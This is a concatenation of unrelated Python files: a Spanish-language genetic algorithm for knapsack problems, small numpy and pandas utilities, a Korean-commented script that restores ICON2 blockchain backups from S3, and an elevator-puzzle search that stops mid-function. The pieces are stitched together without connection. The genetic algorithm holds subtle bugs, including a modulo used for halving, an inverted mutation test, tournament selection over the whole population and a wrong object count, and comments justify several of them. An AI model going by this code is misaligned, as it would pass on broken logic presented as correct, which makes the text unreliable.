import random

# ================================================
# Implementación clase abstracta algoritmo genético
# ================================================
# Definir clase abstracta Problema_Genetico
# Propiedades:
# - genes: lista de genes usados en el genotipo de los estados.
# - longitud_individuos: longitud de los cromosomas
# Métodos:
# - decodifica: función de obtiene el fenotipo a partir del genotipo.
# - fitness: función de valoración.
# - muta: mutación de un cromosoma
# - cruza: cruce de un par de cromosomas

# En la definición de clase no se especifica si el problema es
# de maximización o de minimización, esto se hace con el
# parámetro en el algoritmo genético que se implemente.

class Problema_Genetico(object):
    # Constructor
    def __init__(self, genes, fun_decodificar, fun_cruzar, fun_mutar, fun_fitness, longitud_individuos):
        self.genes = genes
        self.fun_decodificar = fun_decodificar
        self.fun_cruzar = fun_cruzar
        self.fun_mutar = fun_mutar
        self.fun_fitness = fun_fitness
        self.longitud_individuos = longitud_individuos

    def decodificar(self, genotipo):
        #Devuelve el fenotipo a partir del genotipo
        fenotipo = self.fun_decodificar(genotipo)
        return fenotipo

    def cruzar(self, cromosoma1, cromosoma2):
        #Devuelve el cruce de un par de cromosomas
        cruce = self.fun_cruzar(cromosoma1, cromosoma2)
        return cruce

    def mutar(self, cromosoma, prob):
        #Devuelve el cromosoma mutado
        mutante = self.fun_mutar(cromosoma, prob)
        return mutante

    # Si se quisiera implementar otro mecanismo de cruza
    #def cruza_loca(self, cromosoma1, cromosoma2, cromosoma3, cromosoma4):
    #    cruce = self.fun_cruza(cromosoma1, cromosoma2, cromosoma3, cromosoma4)
    #    return cruce

    def fitness(self, cromosoma):
        #Función de valoración
        valoracion = self.fun_fitness(cromosoma)
        return valoracion

# Función interpreta lista de 0's y 1's como número natural:

def binario_a_decimal(x):
    return sum(b * (2 ** i) for (i, b) in enumerate(x))

# con cuad_gen, se prueba alguna de las funciones definidas en la
# clase anterior, para esta instancia concreta. Por ejemplo:
# cuad_gen.decodifica([1,0,0,0,1,1,0,0,1,0,1])
# 1329
# cuad_gen.fitness([1,0,0,0,1,1,0,0,1,0,1])
# 1766241
# cuad_gen.muta([1,0,0,0,1,1,0,0,1,0,1],0.1)
# [1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1]
# cuad_gen.muta([1,0,0,0,1,1,0,0,1,0,1],0.1)
# [0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1]
# cuad_gen.cruza([1,0,0,0,1,1,0,0,1,0,1],[0,1,1,0,1,0,0,1,1,1])
# [[1, 0, 0, 0, 1, 0, 0, 1, 1, 1], [0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1]]

def fun_cruzar(cromosoma1, cromosoma2):
    # Cruza los cromosomas por la mitad
    l1 = len(cromosoma1)
    l2 = len(cromosoma2)
    cruce1 = cromosoma1[0:int(l1 % 2)]+cromosoma2[int(l1 % 2):l2]
    cruce2 = cromosoma2[0:int(l2 % 2)]+cromosoma1[int(l2 % 2):l1]
    """
        Aplicando el modulo de 2 en l1 y l2 realiza mas tiempo en ejecutar con mas pruebas y mas seleccion de de los cromosomas
        para la resolucion del ejercicio.
    """
    return [cruce1, cruce2]

def fun_mutar(cromosoma,prob):
    # Elige un elemento al azar del cromosoma y lo modifica con una probabilidad igual a prob
    l = len(cromosoma)
    p = random.randint(0, l - 1)
    if prob <= random.uniform(0, 1):
        '''
        Para asegurarnos que ya siendo asignada la probabilidad de mutacion o salto pueda acceder dentro de esta seccion
        tomando en cuenta la arbitrariedad de decidir o de seleccionar que dentro de un numero randonico que este dentro del rango
        de 0 y 1 existen una infinidad de numeros por lo cual es muy poco probale que entre en esta instruccion pero al cambiarlo
        a <= existe mas posibilidades de que cumpla con esta operacion y logre acceder.
        '''
        cromosoma[p] =  (cromosoma[p] + 1) % 2
        #cromosoma[p] = cromosoma[p]*-1
    return cromosoma

def fun_fitness_cuad(cromosoma):
    # Función de valoración que eleva al cuadrado el número recibido en binario
    n = binario_a_decimal(cromosoma)**2
    return n

def deco_x(x):
    return [binario_a_decimal(x[:4]), binario_a_decimal(x[4:])]

# Definir una función poblacion_inicial(problema_genetico, tamaño), para
# definir una población inicial de un tamaño dado, para una instancia dada de
# la clase anterior Problema_Genetico

#
"""
                                        Metodo de Método de Montecarlo
                                        ------------------------------
    Para la seleccion de individuos dentro del rango que se establece para la seleccion de
    Poblacion y continuar con el torneo de seleccion y numero de generaciones de los padre se determina
    que dentro del metodo es ver la probabilidad de los sujetos o la poblacion que estaran dentro del programa
    o del algoritmo, por ende en base a el tamaño se estableceria que como en un circulo o ruleta seria el limite
    de nuestra poblacion o individuos por ende las posibilidades de que los numeros randonicos que cumpliesen con
    este requisito estaran dentro de la prueba y permitiran determinar un porcentaje o dato de referencia para
    manipulacion de datos que cumplan o esten dentro del rango y tambien ver los que no entraron por la limitacion de
    tamaño que implica para saber quienes participan y quienes no
"""
#
def poblacion_inicial(problema_genetico, size): # Se establece el metodo y el tamaño para el algoritmo
    l = []  # Se establece una lista o vector vacio para almacenar los datos
    for i in range(size):   # Para que recorra "i" en el rango o limite del algoritmo
        l.append([random.choice(problema_genetico.genes) for i in range(problema_genetico.longitud_individuos)])
        # busca dentro de una seleccion randonica en base a los genes del problema para otro rango del problema
        # con la limitacion del rango para ver los que califican para entrar detro del problema y repetirse segun sea
        # la limitante de seleccion
    return l    # Retorna la lista o vector con los datos almacenados

# >>> poblacion_inicial(cuad_gen, 8)
# [[1, 0, 1, 1, 1, 0, 0, 0, 1, 1], [0, 0, 0, 1, 1, 1, 0, 1, 0, 0], [0, 1, 1, 1, 0, 0, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 1, 0, 1, 1], [0, 1, 0, 1, 0, 1, 1, 1, 1, 0], [0, 1, 1, 0, 0, 1, 0, 1, 0, 0], [0, 1, 1, 0, 0, 0, 0, 1, 0, 1], [1, 1, 0, 1, 0, 1, 1, 0, 0, 1]]

# Definir una función cruza_padres(problema_genetico, padres), que recibiendo
# una instancia de Problema_Genetico y una población de padres (supondremos
# que hay un número par de padres), obtiene la población resultante de
# cruzarlos de dos en dos (en el orden en que aparecen)

def cruza_padres(problema_genetico, padres):
    l = []
    """
    l1 = len(padres) esto esta demas
    """
    while padres != []:
        l.extend(problema_genetico.cruzar(padres[0], padres[1]))
        padres.pop(0)
        padres.pop(0)
    return l

# Ejemplo
# >>>  cruza_padres(cuad_gen, [[1, 0, 1, 1, 1, 0, 0, 0, 1, 1],
# [0, 0, 0, 1, 1, 1, 0, 1, 0, 0],
# [0, 1, 1, 1, 0, 0, 1, 0, 0, 0],
# [0, 0, 1, 1, 1, 1, 1, 0, 1, 1],
# [0, 1, 0, 1, 0, 1, 1, 1, 1, 0],
# [0, 1, 1, 0, 0, 1, 0, 1, 0, 0],
# [0, 1, 1, 0, 0, 0, 0, 1, 0, 1],
# [1, 1, 0, 1, 0, 1, 1, 0, 0, 1]])

# [[1, 0, 1, 1, 1, 1, 0, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 1, 1],
# [0, 1, 1, 1, 0, 1, 1, 0, 1, 1], [0, 0, 1, 1, 1, 0, 1, 0, 0, 0],
# [0, 1, 0, 1, 0, 1, 0, 1, 0, 0], [0, 1, 1, 0, 0, 1, 1, 1, 1, 0],
# [0, 1, 1, 0, 0, 1, 1, 0, 0, 1], [1, 1, 0, 1, 0, 0, 0, 1, 0, 1]]

# Definir una función muta_individuos(problema_genetico, poblacion, prob), que
# recibiendo una instancia de Problema_Genetico, una población y una
# probabilidad de mutación, obtiene la población resultante de aplicar
# operaciones de mutación a cada individuo.

def muta_individuos(problema_genetico, poblacion, prob):
    return [problema_genetico.mutar(x, prob) for x in poblacion]

# Ejemplo
# >>> muta_individuos(cuad_gen,poblacion_inicial(cuad_gen, 4), 0.1)
# [[1, 1, 0, 1, 1, 0, 1, 0, 0, 1], [1, 1, 1, 0, 0, 1, 1, 1, 0, 0], [1, 0, 0, 0, 1, 1, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 1, 1, 1, 0]]

# Definir una función
# seleccion_por_torneo(problema_genetico,poblacion,n,k,opt)
# que implementa la selección mediante torneo de n individuos de una
# población.  Esta función recibe como entrada una instancia de
# Problema_Genetico, una población, un número natural n (número de individuos
# a seleccionar) un número natural k (número de participantes en el torneo) y
# un valor opt que puede ser o la función max o la función min (dependiendo de
# si el problema es de maximización o de minimización, resp.).

# INDICACIÓN: Usar random.sample

def seleccion_por_torneo(problema_genetico, poblacion, n, k, opt):
    # Selección por torneo de n individuos de una población. Siendo k el nº de participantes
    # y opt la función max o min.
    seleccionados = []
    for i in range(n):
        participantes = random.sample(poblacion, k)
        #seleccionado = opt(participantes, key = problema_genetico.fitness)
        seleccionado = opt(poblacion, key = problema_genetico.fitness)
        """
        Cambio la seleccion de participantes a poblacion para la evaluacion de seleccionar
        los participantes dentro del torneo para ver quienes con quienes se juntan.
        """
        seleccionados.append(seleccionado)
        # poblacion.remove(seleccionado)
    return seleccionados

# Ejemplo
# >>> seleccion_por_torneo(cuad_gen, poblacion_inicial(cuad_gen,8),3,6,max)
# [[1, 1, 1, 1, 1, 0, 0, 0, 1, 1], [1, 0, 0, 1, 1, 1, 0, 1, 0, 1], [1, 1, 1, 1, 0, 1, 1, 1, 0, 1]]
# seleccion_por_torneo(cuad_gen, poblacion_inicial(cuad_gen,8),3,6,min)
# [[0, 0, 1, 1, 0, 1, 1, 0, 0, 0], [1, 0, 1, 0, 1, 1, 1, 0, 0, 0], [1, 1, 0, 1, 0, 0, 1, 0, 1, 0]]
# -----------------------------

def nueva_generacion_t(problema_genetico, k, opt, poblacion, n_padres, n_directos, prob_mutar):
    padres2 = seleccion_por_torneo(problema_genetico, poblacion, n_directos, k, opt)
    padres1 = seleccion_por_torneo(problema_genetico, poblacion, n_padres , k, opt)
    cruces =  cruza_padres(problema_genetico,padres1)
    generacion = padres2 + cruces
    resultado_mutaciones = muta_individuos(problema_genetico, generacion, prob_mutar)
    return resultado_mutaciones

# >>> nueva_generacion_t(cuad_gen, 3, max, poblacion_inicial(cuad_gen, 10), 6, 4 , 0.1)
# [[0, 0, 1, 1, 1, 0, 1, 0, 1, 1], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1], [1, 1, 0, 1, 0, 0, 0, 0, 1, 1], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1], [0, 0, 1, 1, 0, 1, 1, 0, 1, 1], [1, 0, 1, 1, 1, 0, 0, 0, 1, 0], [1, 1, 0, 1, 0, 0, 1, 0, 1, 1], [0, 0, 1, 1, 1, 0, 0, 0, 1, 1], [1, 0, 1, 1, 0, 1, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 1, 1, 1, 0]]

# La siguiente función algoritmo_genetico_t implementa el primero de los
# algoritmos genéticos (el de selección por torneo)

def algoritmo_genetico_t(problema_genetico, k, opt, ngen, size, prop_cruces, prob_mutar):
    poblacion = poblacion_inicial(problema_genetico, size)
    print("Poblacion Inicial")
    print(poblacion)
    n_padres = round(size * prop_cruces)
    n_padres = int (n_padres if n_padres % 2 == 0 else n_padres - 1)
    n_directos = size - n_padres
    for _ in range(ngen):
        poblacion = nueva_generacion_t(problema_genetico, k, opt, poblacion, n_padres, n_directos, prob_mutar)
        print("Nueva población")
        print(poblacion)
    mejor_cr = opt(poblacion, key = problema_genetico.fitness)
    mejor = problema_genetico.decodificar(mejor_cr)
    return (mejor, problema_genetico.fitness(mejor_cr))

# Argumentos de entrada:
# * problema_genetico: una instancia de la clase Problema_Genetico, con el
#   problema de optimización que se quiere resolver.
# * k: número de participantes en los torneos de selección.
# * opt: max ó min, dependiendo si el problema es de maximización o de
#   minimización.
# * ngen: número de generaciones (condición de terminación)
# * tamaño (size): número de individuos en cada generación
# * prop_cruces: proporción del total de la población que serán padres.
# * prob_mutar: probabilidad de realizar una mutación de un gen.

# Se pide definir la única función auxiliar que queda por definir en el
# algoritmo anterior; es decir, la función
# nueva_generacion_t(problema_genetico, opt ,poblacion, n_padres, prob_mutar)
# que a partir de una población dada, calcula la siguiente generación.

# ===================================================
# Representación del problema de la mochila
# ===================================================

# Problema de la mochila: dados n objetos de pesos p_i y valor v_i
# (i = 1, ..., n), seleccionar cuáles se meten en una mochila que soporta un
# peso P máximo, de manera que se máximice el valor de los objetos
# introducidos.

# Definir función
# decodifica_mochila(cromosoma, n_objetos, pesos, capacidad)
# recibe como entrada:

# - un cromosoma (en este caso, una lista de 0s y 1s, de longitud igual a
#   n_objetos)
# - n_objetos: número total de objetos de la mochila
# - pesos: una lista con los pesos de los objetos
# - capacidad: peso máximo de la mochila.

# La función debe devolver una lista de 0s y 1s que indique qué objetos están en
# la mochila y cuáles no (el objeto i está en la mochila si y sólo si en la
# posción i-ésima de la lista hay un 1). Esta lista se obtendrá a partir del
# cromosoma, pero teniendo en cuenta que a partir del primer objeto que no
# quepa, éste y los siguientes se consideran fuera de la mochila,
# independientemente del valor que haya en su correspondiente posición de
# cromosoma.

def decodifica_mochila(cromosoma, n_objetos, pesos, capacidad):
    peso_en_mochila = 0
    l = []
    for i in range(n_objetos):
        if cromosoma[i] == 1 and peso_en_mochila + pesos[i] <= capacidad:
            l.append(1)
            peso_en_mochila += pesos[i]
        elif cromosoma[i] == 0 or peso_en_mochila + pesos[i] > capacidad:
            l.append(0)
    return l

#decodifica_mochila([1, 1, 0, 1], 4, [18, 2, 8, 1], 20)
# [1, 1, 0, 0]

# Definir función fitness
# fitness_mochila(cromosoma, n_objetos, pesos, capacidad, valores)
# devuelve el valor total de los objetos que están dentro de la mochila
# que representa el cromosoma, según la codificación explicada en el ejercicio
# anterior. Aquí valores es la lista de los valores de cada objeto y el resto
# de argumentos son los mismos que en el ejercicio anterior.

def fitness_mochila(cromosoma, n_objetos, pesos, capacidad, valores):
    objetos_en_mochila = decodifica_mochila(cromosoma, n_objetos, pesos, capacidad)
    valor = 0
    for i in range(n_objetos):
        if objetos_en_mochila[i] == 1:
            valor += valores[i]
    return valor

#EJEMPLOS DE ALGORITMOS GENETICOS DE LAS MOCHILAS CON 3 INTERPRETACIONES
"""
    M1
"""
pesos1 = [23, 31, 29, 44, 53, 38, 63, 85, 89, 82]
valores1 = [92, 57, 49, 68, 60, 43, 67, 84, 87, 72]

"""
    M2
"""
pesos2 = [70,73,77,80,82,87,90,94,98,106,110,113,115,118,120]
valores2 = [135,139,149,150,156,163,173,184,192,201,210,214,221,229,240]

"""
    M3
"""
pesos3 = [382745,799601,909247,729069,467902, 44328,
       34610,698150,823460,903959,853665,551830,610856,
       670702,488960,951111,323046,446298,931161, 31385,496951,264724,224916,169684]
valores3 = [825594,1677009,1676628,1523970, 943972,  97426,
       69666,1296457,1679693,1902996,
       1844992,1049289,1252836,1319836, 953277,2067538, 675367,
       853655,1826027, 65731, 901489, 577243, 466257, 369261]

"""
    Para La mochila 1
"""
def fitness_mochila_1(cromosoma):
    v = fitness_mochila(cromosoma, 10, pesos1, 165, valores1)
    return v

def decodifica_mochila_1(cromosoma):
    v = decodifica_mochila(cromosoma, 10, pesos1, 165)
    return v

m1g = Problema_Genetico([0,1], decodifica_mochila_1, fun_cruzar, fun_mutar, fitness_mochila_1, 10)

"""
    Para La mochila 2
"""

def fitness_mochila_2(cromosoma):
    v = fitness_mochila(cromosoma, 15, pesos2, 750, valores2)
    return v

def decodifica_mochila_2(cromosoma):
    v = decodifica_mochila(cromosoma, 14, pesos2, 750)
    return v

m2g = Problema_Genetico([0,1], decodifica_mochila_2, fun_cruzar, fun_mutar, fitness_mochila_2, 15)

"""
    Para La mochila 3
"""

def fitness_mochila_3(cromosoma):
    v = fitness_mochila(cromosoma, 24, pesos3, 6404180 , valores3)
    return v

def decodifica_mochila_3(cromosoma):
    v = decodifica_mochila(cromosoma, 24, pesos3, 6404180)
    return v
m3g = Problema_Genetico([0,1], decodifica_mochila_3, fun_cruzar,  fun_mutar, fitness_mochila_3,24)

print(algoritmo_genetico_t(m1g, 3, max, 100, 50, 0.8, 0.05))   #Mochila 1 Resultados
#print(algoritmo_genetico_t(m2g,3, max, 200, 100, 0.8, 0.05))    #Mochila 2 Resultados
#print(algoritmo_genetico_t(m3g, 5, max, 400, 200, 0.75, 0.1))   #Mochila 3 Resultados


#Program to check vowel or not
#Get input from user
n=str(input())
count=0
for i in range(len(n)):
	#Check condition for vowel
	if(n[i]=='a' or n[i]=='e' or n[i]=='i' or n[i]=='o' or n[i]=='u'):
		count=count+1
if(count>0):
	print("yes")
else:
	print("no")


# -*- encoding: utf-8 -*-
# Module iaisdftsym

import numpy as np

def iaisdftsym(F):

    if len(F.shape) == 1: F = F[np.newaxis,np.newaxis,:]
    if len(F.shape) == 2: F = F[np.newaxis,:,:]

    n,m,p = F.shape
    x,y,z = np.indices((n,m,p))

    Xnovo = np.mod(-1*x,n)
    Ynovo = np.mod(-1*y,m)
    Znovo = np.mod(-1*z,p)

    aux = np.conjugate(F[Xnovo,Ynovo,Znovo])

    return (abs(F-aux)<10E-4).all()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import threading
import boto3
import logging
import sys, os, time, datetime , inspect
import shutil, hashlib
import argparse
import requests
from termcolor import colored, cprint
from multiprocessing.pool import ThreadPool
from halo import Halo
from boto3.s3.transfer import TransferConfig
from botocore.handlers import disable_signing
from timeit import default_timer
from inspect  import  currentframe

parent_dir = os.path.dirname(os.path.abspath(os.path.dirname(__file__)))
sys.path.append(parent_dir)
sys.path.append(parent_dir+"/..")
from common import converter, output, base
from common.converter import region_info     ### regeion config
from common.output import lineno, script_name, funcname

sys.excepthook = output.exception_handler

class Restore:
    def __init__(
        self,
        core_version="core2",
        db_path=None,
        network="MainNet",
        send_url=None,
        bucket_name_prefix="icon2-backup",
        region="kr",
        download_type="multi",
        restore_path='restore',   ### Download directory
        ):

        self.core_version = core_version
        self.db_path = db_path
        self.network = network
        self.send_url = send_url
        self.bucket_name_prefix = bucket_name_prefix
        self.region = region
        self.download_type = download_type
        self.restore_path = restore_path

        self.download_filename = ""
        self.verbose = None

        if send_url:
            self.is_send = True
        else:
            self.is_send = False

        if self.db_path is None or not output.is_file(self.db_path):
            raise ValueError(f"{script_name()}({funcname()}.{lineno()}) | db_path not found - '{self.db_path}'")

        self.get_nproc = ''.join(base.run_execute('nproc', capture_output=True)['stdout'])

        self.run()

    ####  class main run function
    def run(self):

        run_start_time = default_timer()
        diskcheck_per = 70

        # Restore WorkDir Create
        self.createFolder(os.path.join(self.db_path, self.restore_path))

        ## fastest region check
        last_latency = self.find_fastest_region()
        cprint(f'{script_name()}({funcname()}.{lineno()}) | {last_latency["url"]}', 'grey')

        self.s3_bkurl = last_latency['url'].replace('/route_check','')
        cprint(f'{script_name()}({funcname()}.{lineno()}) | {self.s3_bkurl}', 'grey')

	## get index.txt
        index_download_url = f'{self.s3_bkurl}/{self.network}/index.txt'
        cprint(f'{script_name()}({funcname()}.{lineno()}) | index file url => {index_download_url}','grey')

        ## dl , download
        dl_dict = self.get_filelist(index_download_url)

        ## file & directory remove
        self.as_file_remove(os.path.join(self.db_path, self.restore_path), file_opt=True)
        if 'CID' in dl_dict:
            chain_id = dl_dict['CID']
            self.as_file_remove(os.path.join(self.db_path, chain_id), file_opt=False)
            #self.as_file_remove(os.path.join(f'/app/goloop/data_test', chain_id), file_opt=False)
            del dl_dict['CID']

        dirusage = self.dir_free_size(self.db_path)

        ## dir size free size check
        if dirusage > diskcheck_per:
            self.send_slack(f"Not enough disk space : {dirusage:.2f}", "error")
            raise ValueError(f"Not enough disk : {dirusage:.2f}")
        else:
            cprint(f"{script_name()}({funcname()}.{lineno()}) | You have enough disk space : {dirusage:.2f} % ", 'yellow')

        ### backup file download
        for f_url, cksum_value in dl_dict.items():
            download_url = f'{self.s3_bkurl}/{f_url}'
            ### Thread off
            self.file_download(download_url,os.path.join(self.db_path,self.restore_path),cksum_value)

            ### Thread on
            #t = threading.Thread(
            #        target=self.file_download,
            #        args = (
            #            download_url,
            #            os.path.join(self.db_path,self.restore_path),
            #            cksum_value
            #        )
            #    )
            #t.start()

        ####  Thread 종료 체크
        #while t.is_alive():
        #    time.sleep(0.5)
        #    print(f'\rThread running',end='')
        #else:
        #    t.join()
        #    print(f'\rThread finished')
        #    pass

        self.db_file_decompress()

        run_elapsed = default_timer() - run_start_time
        run_time_completed_at = "{:5.3f}s".format(run_elapsed)
        output.cprint(f"\n\n>>>> for_time_completed_at = {run_time_completed_at}\n", 'yellow')

    ### send result slack
    def send_slack(self, msg_text=None, msg_level="info"):
        if self.is_send and msg_text:
            output.send_slack(
                url=self.send_url,
                msg_text=msg_text,
                msg_level=msg_level
            )

    # Restore WorkDir Create
    def createFolder(self, directory):
        try:
            if not os.path.exists(directory):
                os.makedirs(directory)
                cprint(f"++ {script_name()}({funcname()}.{lineno()}) | create : {directory}", "green")
        except OSError:
            raise OSError(f"{script_name()}({funcname()}.{lineno()}) | Error: Creating directory fail. : {directory}")

    ### Old file remove
    def as_file_remove(self, delete_path, file_opt=False):
        ## /app/goloop/data/{CID} , ## /app/goloop/data/[restore]/*.tar*
        delete_dir = os.path.join(delete_path)
        cprint(f'-- {script_name()}({funcname()}.{lineno()}) | Delete_dir : {delete_dir}', 'yellow')

        try:
            if file_opt :
                ### Delete directory file
                filelist = os.listdir(f"{delete_dir}")
                for item in filelist:
                    if f".tar.zst" in item:
                        os.remove(os.path.join(delete_dir, item))
                        cprint(f"-- {script_name()}({funcname()}.{lineno()}) | delete : {delete_dir} {item}", "red")
            else:
               ## Delete directory
               if os.path.isdir(delete_dir):
                   shutil.rmtree(delete_dir)
                   #os.rmdir(delete_dir)
                   cprint(f"-- {script_name()}({funcname()}.{lineno()}) | delete : {delete_dir}", "red")
               else:
                   cprint(f"-- {script_name()}({funcname()}.{lineno()}) | Not found {delete_dir}", "yellow")
        except OSError:
            raise OSError(f"{script_name()}({funcname()}.{lineno()}) | Error: file_remove ({file_opt})")

    ### dir size
    def get_dir_size(self, path):
        total = 0
        with os.scandir(path) as it:
            for entry in it:
                if entry.is_file():
                    total += entry.stat().st_size
                elif entry.is_dir():
                    total += self.get_dir_size(entry.path)
        return total

    def dir_free_size(self, path):
        dirsize = dirusage = 0
        total, used, free = shutil.disk_usage(path)
        dirsize = self.get_dir_size(path)
        #### 남은 공간 대비 db 디렉토리 사용량 (퍼센트)
        self.dirusage = dirsize / free * 100.0
        return self.dirusage

    ## MD5 HASH
    def getHash(self, path, blocksize=65536):
        afile = open(path, 'rb')
        hasher = hashlib.md5()
        buf = afile.read(blocksize)
        while len(buf) > 0:
            hasher.update(buf)
            buf = afile.read(blocksize)
        afile.close()
        return hasher.hexdigest()

    ### s3 response time check
    def get_connect_time(self, url, name="NULL"):
        status_code = 999
        try:
            response = requests.get(f'{url}', timeout=5)
            response_text = response.text
            elapsed_time = response.elapsed.total_seconds()
            status_code = response.status_code
        except Exception as e:
            elapsed_time = None
            response_text = None
            cprint(f"{script_name()}({funcname()}.{lineno()}) | get_connect_time error : {url} -> {sys.exc_info()[0]} / {e}", "red")
        return {"url": url, "time": elapsed_time, "name": name, "text": response_text, "status": status_code}

    def find_fastest_region(self):
        results = {}
        pool = ThreadPool(8)
        i = 0

        spinner = Halo(text=f"Finding fastest region", spinner='dots')
        spinner.start()

        check_file = 'route_check'

        for region_name, region_code in region_info.items():
            #URL = f'https://icon2-backup{region_code}.amazonaws.com/{check_file}'
            URL = f'https://{self.bucket_name_prefix}{region_code}.amazonaws.com/{check_file}'
            exec_func = "get_connect_time"
            exec_args = (f"{URL}", f"name={region_name}")
            #cprint(f'url => {URL} \t, exec_func_name = {exec_func}' , 'green')
            results[i] = {}
            #results[i]["data"] = pool.apply_async(getattr(sys.modules[__name__], exec_func), exec_args)
            results[i]["data"] = pool.apply_async(self.get_connect_time, args = exec_args)
            i += 1
        pool.close()
        pool.join()

        last_latency = {}
        for i, p in results.items():
            data = p['data'].get()
            print(f"data => {data}") if self.verbose else False
            if time is not None:
                if len(last_latency) == 0:
                    last_latency = data
                if last_latency.get("time") and data.get("time"):
                    if last_latency.get("time", 99999) >= data.get("time"):
                        last_latency = data
            print(data) if self.verbose else False
        spinner.succeed(f'[Done] Finding fastest region')

        return last_latency

    ###  S3에있는  Backup  list 가져오기
    def get_filelist(self, file_url):
        try:
            ## get filelist.txt
            res = requests.get(file_url)
            filelist_text = res.text.strip().split('\n')
            filelist_url = f'{self.s3_bkurl}/{filelist_text[-1]}'
        except Exception as e:
            cprint(f"{script_name()}({funcname()}.{lineno()}) | {e}","red")

        try:
            dl_file_list = requests.get(filelist_url)
            self.f_dict = dl_file_list.json()
        except Exception as e:
            cprint(f"{script_name()}({funcname()}.{lineno()}) | {e}","red")
        return  self.f_dict

    ## S3에 업로드된 파일과 다운로드 된 파일 의 MD5 체크섬 비교
    def download_diff(self, download_file, orig_hash):
        localfile_hash = self.getHash(download_file)
        if localfile_hash == orig_hash :
            hash_rst = "ok"
        else:
            hash_rst = "nok"
        return hash_rst

    ##  파일 다운로드
    def file_download(self, download_url, download_path, hash_value):

        cprint(f'{script_name()}({funcname()}.{lineno()}) | download_url => {download_url} | download_path => {download_path}','yellow')
        try :
            local_dl_file = os.path.join(download_path,download_url.split("/")[-1])
            if os.path.isfile(local_dl_file) :
                diff_rst = self.download_diff(local_dl_file,hash_value)
            else:
                diff_rst = None

            if diff_rst == 'nok' or diff_rst is None:
                start_time = default_timer()

                #axel_option = f"-k -n {get_nproc} --verbose"    ###  axel 2.4 버전에서는 -k 옵션이 제외됨.
                axel_option = f"-n {self.get_nproc} --verbose"
                axel_cmd = f'axel {axel_option} {download_url} -o "{download_path}"'
                run_stat = base.run_execute(axel_cmd, capture_output=True)

                elapsed = default_timer() - start_time
                time_completed_at = "{:5.3f}s".format(elapsed)

                diff_rst = self.download_diff(local_dl_file,hash_value)
                if diff_rst == 'ok':
                    output.cprint(f'\n\t{threading.get_ident()} | {download_url.split("/")[-1]} |{diff_rst} | time_completed_at = {time_completed_at}', 'green')
                else:
                    raise ValueError(f"{script_name()}({funcname()}.{lineno()}) | download file Checksum Check Fail - '{download_file}'")
            else:
                output.cprint(f'\n\t{threading.get_ident()} | {download_url.split("/")[-1]} |exist file (checksum is Same)', 'green')
        except Exception as e:
            cprint(f"{script_name()}({funcname()}.{lineno()}) | {e}","red")

    def db_file_decompress(self):
        comp_algorithm = 'pzstd'

        os.chdir(self.db_path)
        if os.path.isdir(self.db_path):
            sour_dir = os.path.join(self.db_path, self.restore_path)
            cmd = f"cat {sour_dir}/*tar.* | {comp_algorithm} -cd | tar -xf - "

        #### test directory
        #os.chdir(f'{self.db_path}_test')
        #if os.path.isdir(f'{self.db_path}_test'):
        #    sour_dir = os.path.join(self.db_path, self.restore_path)
        #    cmd = f"cat {sour_dir}/*tar.* | {comp_algorithm} -cd | tar -xf - -C {self.db_path}_test"

        cprint(f"{script_name()}({funcname()}.{lineno()}) | cmd = {cmd}", 'yellow')

        if base.run_execute(cmd).get("stderr"):
            raise OSError(f"{script_name()}({funcname()}.{lineno()}) | Failed Decompression - '{cmd}'")

class ProgressPercentage(object):
    def __init__(self, filename):
        self._filename = filename
        self._size = float(os.path.getsize(filename))
        self._seen_so_far = 0
        self._lock = threading.Lock()
        self._prevent_bytes = 0

    def __call__(self, bytes_amount):
        # To simplify we'll assume this is hooked up
        # to a single filename.
        with self._lock:
            self._seen_so_far += bytes_amount
            percentage = (self._seen_so_far / self._size) * 100
            # tx = bytes_amount - self._prevent_bytes
            sys.stdout.write(
                "\r \t %s  %s / %s  (%.2f%%) " % (
                    self._filename, converter.convert_bytes(
                        self._seen_so_far), converter.convert_bytes(self._size),
                    percentage))
            sys.stdout.flush


import pandas as pd
import numpy as np

data = pd.read_excel(r"data2.xlsx", encoding='utf-8')
print(data)

print(data["时间"][0])

data["时间"] = data["时间"].astype("int64")

start = np.array(data.head(1).iloc[:, :1])
end = np.array(data.tail(1).iloc[:, :1])

# 这里的diff是转为了一个list
diff = end[0] - start[0]
# 这里才变为数值
diff = diff[0] / 1000 / 1000 / 1000
print(diff)

index = data.shape[0] - 1

print("缺失的数据条数为：", int(diff - index), "条")


import re, copy
import sys
sys.setrecursionlimit(50)

queue_max = 0
best = 999999999999999

initial_floors = [
    [],
    [],
    [],
    [],
]

best_so_far = {}

def checksum(elevator_on, floors):
    fidx = 0
    csum = ''

    for floor in floors:
        csum += str(fidx) + ':'

        entries = []

        for x in floor:
            if x[0] == 'G':
                y_idx = 0

                for floor2 in floors:
                    found = False

                    for y in floor2:
                        if y[0] == 'M' and y[1:] == x[1:]:
                            found = True
                            entries.append('G' + str(fidx - y_idx))
                            break

                    y_idx += 1

                    if found:
                        break

        csum += '_'.join(sorted(entries)) + '|'
        fidx += 1

    return csum + '_' + str(elevator_on)

def valid(floors):
    for floor in floors:
        has = {'generators': [], 'microchips': []}

        for obj in floor:
            if obj[0] == 'G':
                has['generators'].append(obj[2:])
            elif obj[0] == 'M':
                has['microchips'].append(obj[2:])

        if not has['generators']:
            continue

        for mc in has['microchips']:
            if mc not in has['generators']:
                return False

    return True

def print_floors(floors, lift_on, steps):
    idx = len(floors)

    for f in floors[::-1]:
        l = '    '

        if (idx - 1) == lift_on:
            l = 'E   '

        print(str(idx) + ': ' + l + '  '.join([x[:4] for x in f]))

        idx -= 1

    print('Steps to get here: ' + str(steps))
    print('----------')

def step(floors, lift_on=0, steps=0):
    queue = [(floors, lift_on, steps)]
    queue_entries = 0

    while queue:
        floors, lift_on, steps = queue.pop(0)

        cs = checksum(lift_on, floors)
        #print_floors(floors, lift_on, steps)
        #print(cs)

        if cs.startswith('0:|1:|2:|3:G0_G0_G0_G0_G0_G0_G0|'):
            print(steps)
            print("Queue entries: " + str(queue_entries))
            sys.exit()

        if cs in best_so_far:
            continue

        lowest_with = 0

        for e in range(0, len(floors)):
            if floors[e]:
                lowest_with = e
                break

